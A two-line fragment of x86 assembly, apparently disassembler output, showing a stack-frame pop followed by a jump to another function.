pop ebp
jmp fcn.0042afd0